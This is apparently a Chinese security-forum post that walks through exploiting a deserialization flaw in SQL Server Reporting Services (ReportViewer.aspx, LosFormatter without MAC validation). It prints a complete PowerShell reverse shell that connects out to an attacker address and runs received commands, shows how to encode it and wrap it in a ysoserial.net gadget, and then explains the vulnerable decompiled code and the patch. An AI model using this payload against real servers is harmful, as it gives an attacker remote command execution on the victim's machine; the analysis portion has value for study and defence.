靶机
前端验证:浏览器访问http://ip/ReportServer
,提示输入前面设置的用户名和密码,输入添加的用户名和密码即可。
攻击机
Windows 7 SP1 x64(注:尽量不要用Linux,抓取的数据包存在问题)
首先使用powershell打开ysoserial.net工具生成有效负载:
$command = '$client = New-Object System.Net.Sockets.TCPClient("ip",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
使用Burp进行浏览器监听
修改Burp的发送消息为有效负载触发漏洞:
Reporting Services/ReportServer/bin
`Microsoft.Reporting.WebForms.BrowserNavigationCorrector
中的OnLoad
方法对ReportingServicesWebServer.dll进行反编译,找到漏洞函数:
从代码来看,Microsoft.Reporting.WebForms.BrowserNavigationCorrector中的OnLoad()方法,首先获取ViewState中的值,并赋给value变量。对value变量进行非空判断,然后初始化LosFormatter对象,最后使用LosFormatter对象中的Deserialize()方法对value变量直接反序列化。
而对LosFormatter类的实例进行调用的位置位于Microsoft.ReportingServices.WebServer.ReportViewerPage
中的OnInit
方法:
由此可以定位到能触发漏洞的路径为ReportServer/pages/ReportViewer.aspx
。
官方仅仅在使用LosFormatter类时开启MAC验证来修复该漏洞。
[公告] 防守篇征题进行中!看雪2020 KCTF春季赛防守方征题中 !
最后于 8小时前 被有毒编辑 ,原因: